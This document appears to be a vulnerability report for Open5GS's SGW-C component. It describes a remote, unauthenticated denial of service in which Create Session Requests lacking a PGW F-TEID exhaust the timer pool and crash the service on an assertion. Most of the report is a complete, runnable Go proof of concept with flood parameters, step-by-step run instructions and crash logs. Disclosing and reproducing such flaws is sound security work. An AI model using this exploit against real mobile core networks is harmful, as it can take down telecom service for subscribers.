| Description | ### CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
### Description
send GTPv2 Create Session Request (CSR) messages to SGW-C (S11) without PGW F-TEID, SGW-C repeatedly creates remote transactions for incoming requests. The timer pool is exhausted before the transaction pool (observed behavior suggests ~3 timers per remote xact). Once timer allocation fails, ogs_timer_add() effectively returns NULL, leading to ogs_gtp_xact_remote_create() hitting the assertion:
Crash location: lib/gtp/xact.c:219
Assertion: ogs_assert(xact->tm_peer)
### Steps to reproduce
Preceded by: ogs_pool_alloc() failed in lib/core/ogs-timer.c:84
1. Start a new go project inside a new folder: `go mod init poc`
2. Create a `main.go` and paste the code below:
```
// Vuln-PC1-13 PoC: GTP Remote Transaction Pool Exhaustion
// Target: SGW-C - ogs_gtp_xact_remote_create() assertion
// Crash Location: lib/gtp/xact.c:219
// Assertion: ogs_assert(xact->tm_peer)
//
// Attack Strategy:
// - Send CSR WITHOUT PGW F-TEID (no forwarding to PGW)
// - SGW-C creates remote transactions to handle incoming requests
// - Timer pool exhausts before xact pool (3 timers per xact)
// - ogs_timer_add() returns NULL -> assertion fails
package main
import (
"flag"
"fmt"
"log"
"net"
"sync"
"time"
"github.com/wmnsk/go-gtp/gtpv2"
"github.com/wmnsk/go-gtp/gtpv2/ie"
"github.com/wmnsk/go-gtp/gtpv2/message"
)
var (
target = flag.String("target", "", "Target SGW-C IP (required)")
port = flag.Int("port", 2123, "GTP-C port")
count = flag.Int("count", 500, "Number of requests to send")
concurrency = flag.Int("concurrency", 50, "Number of concurrent senders")
delay = flag.Duration("delay", 1*time.Millisecond, "Delay between requests")
maxUE = flag.Int("max-ue", 1, "Number of unique IMSIs")
)
func main() {
flag.Parse()
if *target == "" {
log.Fatal("--target is required")
}
fmt.Println("==========================================================")
fmt.Println("Vuln-PC1-13 PoC: ogs_gtp_xact_remote_create Assertion")
fmt.Println("==========================================================")
fmt.Printf("[*] Target: %s:%d (SGW-C S11)\n", *target, *port)
fmt.Printf("[*] Crash Location: lib/gtp/xact.c:219\n")
fmt.Printf("[*] Assertion: ogs_assert(xact->tm_peer)\n")
fmt.Println("[*] Strategy: CSR without PGW F-TEID -> remote xact only")
fmt.Println("----------------------------------------------------------")
addr := fmt.Sprintf("%s:%d", *target, *port)
remoteAddr, err := net.ResolveUDPAddr("udp", addr)
if err != nil {
log.Fatalf("Failed to resolve address: %v", err)
}
var wg sync.WaitGroup
requestsPerWorker := *count / *concurrency
sentCount := 0
var mu sync.Mutex
for i := 0; i < *concurrency; i++ {
wg.Add(1)
go func(workerID int) {
defer wg.Done()
conn, err := net.DialUDP("udp", nil, remoteAddr)
if err != nil {
return
}
defer conn.Close()
for j := 0; j < requestsPerWorker; j++ {
seq := uint32(workerID*10000 + j)
ueIndex := (workerID*requestsPerWorker + j) % *maxUE
msg := buildCSR(seq, ueIndex)
data, _ := message.Marshal(msg)
conn.Write(data)
mu.Lock()
sentCount++
if sentCount%100 == 0 {
fmt.Printf("[*] Sent %d requests...\n", sentCount)
}
mu.Unlock()
if *delay > 0 {
time.Sleep(*delay)
}
}
}(i)
}
wg.Wait()
fmt.Println("----------------------------------------------------------")
fmt.Printf("[+] Total requests sent: %d\n", sentCount)
fmt.Println("[*] Expected crash: ogs_gtp_xact_remote_create: Assertion 'xact->tm_peer' failed")
fmt.Println("[*] Check: docker logs sgwc | grep 'xact_remote_create'")
}
func buildCSR(seq uint32, ueIndex int) *message.CreateSessionRequest {
imsi := fmt.Sprintf("001010000000%03d", ueIndex)
localIP := "x.x.x.x"
mmeTEID := uint32(0x10000000 + seq)
senderFTEID := ie.NewFullyQualifiedTEID(
gtpv2.IFTypeS11MMEGTPC, mmeTEID, localIP, "",
)
ebi := uint8(5 + (seq % 11))
bearer := ie.NewBearerContext(
ie.NewEPSBearerID(ebi),
ie.NewBearerQoS(1, 2, 1, 9, 50000, 50000, 50000, 50000),
)
apns := []string{"internet", "ims", "mms", "enterprise", "vpn", "iot", "voip", "data"}
apn := apns[int(seq)%len(apns)]
// NO PGW F-TEID - SGW-C will only create remote transaction
return message.NewCreateSessionRequest(
0, seq,
ie.NewIMSI(imsi),
ie.NewMSISDN("0000000000"),
ie.NewMobileEquipmentIdentity("353490061234560"),
ie.NewServingNetwork("001", "01"),
ie.NewRATType(gtpv2.RATTypeEUTRAN),
ie.NewPDNType(gtpv2.PDNTypeIPv4),
ie.NewSelectionMode(gtpv2.SelectionModeMSorNetworkProvidedAPNSubscribedVerified),
ie.NewAccessPointName(apn),
ie.NewAggregateMaximumBitRate(500000, 500000),
senderFTEID,
bearer,
)
}
```
3. Download required libraries: `go mod tidy`
4. Run the program with the SGW-C address: `go run main.go --target x.x.x.x`
### Logs
```shell
01/07 07:53:05.297: [event] FATAL: ogs_pool_alloc() failed (../lib/core/ogs-timer.c:84)
01/07 07:53:05.297: [gtp] FATAL: ogs_gtp_xact_remote_create: Assertion `xact->tm_peer' failed. (../lib/gtp/xact.c:219)
01/07 07:53:05.297: [core] FATAL: backtrace() returned 9 addresses (../lib/core/ogs-abort.c:37)
/usr/local/lib/libogsgtp.so.2(+0x1ab88) [0x7b0f43548b88]
/usr/local/lib/libogsgtp.so.2(ogs_gtp_xact_receive+0x4d3) [0x7b0f4354c886]
open5gs-sgwcd(+0x14bc5) [0x5629d243fbc5]
/usr/local/lib/libogscore.so.2(ogs_fsm_dispatch+0x119) [0x7b0f4350a43f]
open5gs-sgwcd(+0x639a) [0x5629d243139a]
/usr/local/lib/libogscore.so.2(+0x119a3) [0x7b0f434fa9a3]
/lib/x86_64-linux-gnu/libc.so.6(+0x94ac3) [0x7b0f4332fac3]
/lib/x86_64-linux-gnu/libc.so.6(clone+0x44) [0x7b0f433c0a74]
/usr/local/bin/entrypoint.sh: line 8: 8 Aborted (core dumped) open5gs-sgwcd "${@}"
```
### Expected behaviour
SGW-C should handle resource exhaustion gracefully (e.g., reject/ignore the request with an error response, rate-limit, or clean up partially created state) and must not crash due to an assertion when timer allocation fails.
### Observed Behaviour
SGW-C crashes under load after timer pool allocation failure.
### eNodeB/gNodeB
No
### UE Models and versions
No |
|---|